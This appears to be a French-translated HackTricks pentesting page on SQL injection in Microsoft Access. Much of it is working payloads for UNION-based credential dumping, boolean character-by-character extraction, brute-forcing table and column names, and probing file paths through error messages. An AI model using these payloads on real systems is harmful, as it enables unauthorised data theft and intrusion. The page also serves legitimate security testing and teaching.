Injection SQL MS Access

Reading time: 8 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Terrain de jeu en ligne

Limitations de la base de données

Concaténation de chaînes

La concaténation de chaînes est possible avec les caractères & (%26) et + (%2b).

sql
1' UNION SELECT 'web' %2b 'app' FROM table%00
1' UNION SELECT 'web' %26 'app' FROM table%00

Commentaires

Il n'y a pas de commentaires dans MS Access, mais apparemment, il est possible de supprimer le dernier d'une requête avec un caractère NULL :

sql
1' union select 1,2 from table%00

Si cela ne fonctionne pas, vous pouvez toujours corriger la syntaxe de la requête :

sql
1' UNION SELECT 1,2 FROM table WHERE ''='

Requêtes empilées

Elles ne sont pas prises en charge.

LIMIT

L'opérateur LIMIT n'est pas implémenté. Cependant, il est possible de limiter les résultats de la requête SELECT aux premières N lignes de la table en utilisant l'opérateur TOP. TOP accepte comme argument un entier, représentant le nombre de lignes à retourner.

sql
1' UNION SELECT TOP 3 attr FROM table%00

Tout comme TOP, vous pouvez utiliser LAST qui obtiendra les lignes de la fin.

Requêtes UNION / Sous-requêtes

Dans une SQLi, vous voudrez généralement exécuter une nouvelle requête pour extraire des informations d'autres tables. MS Access exige toujours que dans les sous-requêtes ou les requêtes supplémentaires, un FROM soit indiqué.
Donc, si vous voulez exécuter un UNION SELECT ou UNION ALL SELECT ou un SELECT entre parenthèses dans une condition, vous devez toujours indiquer un FROM avec un nom de table valide.
Par conséquent, vous devez connaître un nom de table valide.

sql
-1' UNION SELECT username,password from users%00

Chaining equals + Substring

warning

Cela vous permettra d'exfiltrer des valeurs de la table actuelle sans avoir besoin de connaître le nom de la table.

MS Access permet une syntaxe étrange telle que '1'=2='3'='asd'=false. Comme d'habitude, l'injection SQL sera à l'intérieur d'une clause WHERE, nous pouvons en abuser.

Imaginez que vous ayez une SQLi dans une base de données MS Access et que vous sachiez (ou deviniez) qu'un nom de colonne est username, et c'est le champ que vous souhaitez exfiltrer. Vous pourriez vérifier les différentes réponses de l'application web lorsque la technique des égalités en chaîne est utilisée et potentiellement exfiltrer du contenu avec une injection booléenne en utilisant la fonction Mid pour obtenir des sous-chaînes.

sql
'=(Mid(username,1,3)='adm')='

Si vous connaissez le nom de la table et la colonne à extraire, vous pouvez utiliser une combinaison de Mid, LAST et TOP pour fuiter toutes les informations via SQLi booléen :

sql
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='

Feel free to check this in the online playground.

Brute-forcing les noms de tables

En utilisant la technique de chaînage des égalités, vous pouvez également bruteforcer les noms de tables avec quelque chose comme :

sql
'=(select+top+1+'lala'+from+<table_name>)='

Vous pouvez également utiliser une méthode plus traditionnelle :

sql
-1' AND (SELECT TOP 1 <table_name>)%00

Feel free to check this in the online playground.

Brute-Forcing des noms de colonnes

Vous pouvez brute-forcer les noms de colonnes actuels avec le truc de chaînage des égalités avec :

sql
'=column_name='

Ou avec un group by :

sql
-1' GROUP BY column_name%00

Ou vous pouvez forcer par brute les noms de colonnes d'une table différente avec :

sql
'=(SELECT TOP 1 column_name FROM valid_table_name)='

-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00

Dumping data

Nous avons déjà discuté de la technique de chaînage des égalités pour extraire des données des tables actuelles et d'autres tables. Mais il existe d'autres méthodes :

sql
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')

En résumé, la requête utilise une instruction "if-then" afin de déclencher un "200 OK" en cas de succès ou une "500 Internal Error" sinon. En tirant parti de l'opérateur TOP 10, il est possible de sélectionner les dix premiers résultats. L'utilisation subséquente de LAST permet de considérer uniquement le 10ème tuple. Sur cette valeur, en utilisant l'opérateur MID, il est possible d'effectuer une simple comparaison de caractères. En changeant correctement l'index de MID et TOP, nous pouvons extraire le contenu du champ "username" pour toutes les lignes.

Basé sur le temps

Vérifiez https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN

Autres fonctions intéressantes

  • Mid('admin',1,1) obtenir une sous-chaîne à partir de la position 1 longueur 1 (la position initiale est 1)
  • LEN('1234') obtenir la longueur de la chaîne
  • ASC('A') obtenir la valeur ascii du caractère
  • CHR(65) obtenir une chaîne à partir de la valeur ascii
  • IIF(1=1,'a','b') si alors
  • COUNT(*) Compter le nombre d'éléments

Énumérer les tables

Depuis ici, vous pouvez voir une requête pour obtenir les noms des tables :

sql
select MSysObjects.name
from MSysObjects
where
MSysObjects.type In (1,4,6)
and MSysObjects.name not like '~*'
and MSysObjects.name not like 'MSys*'
order by MSysObjects.name

Cependant, notez qu'il est très typique de trouver des injections SQL où vous n'avez pas accès pour lire la table MSysObjects.

Accès au système de fichiers

Chemin d'accès complet du répertoire racine web

La connaissance du chemin absolu du répertoire racine web peut faciliter d'autres attaques. Si les erreurs d'application ne sont pas complètement dissimulées, le chemin du répertoire peut être découvert en essayant de sélectionner des données à partir d'une base de données inexistante.

http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00

MS Access répond avec un message d'erreur contenant le chemin complet du répertoire web.

Énumération de fichiers

Le vecteur d'attaque suivant peut être utilisé pour inférer l'existence d'un fichier sur le système de fichiers distant. Si le fichier spécifié existe, MS Access déclenche un message d'erreur informant que le format de la base de données est invalide :

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

Une autre façon d'énumérer des fichiers consiste à spécifier un élément database.table. Si le fichier spécifié existe, MS Access affiche un message d'erreur de format de base de données.

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00

Deviner le nom de fichier .mdb

Le nom de fichier de base de données (.mdb) peut être inféré avec la requête suivante :

http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00

name[i] est un nom de fichier .mdb et realTable est une table existante dans la base de données. Bien que MS Access déclenche toujours un message d'erreur, il est possible de distinguer entre un nom de fichier invalide et un nom de fichier .mdb valide.

Cracker le mot de passe .mdb

Access PassView est un utilitaire gratuit qui peut être utilisé pour récupérer le mot de passe principal de la base de données de Microsoft Access 95/97/2000/XP ou Jet Database Engine 3.0/4.0.

Références

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks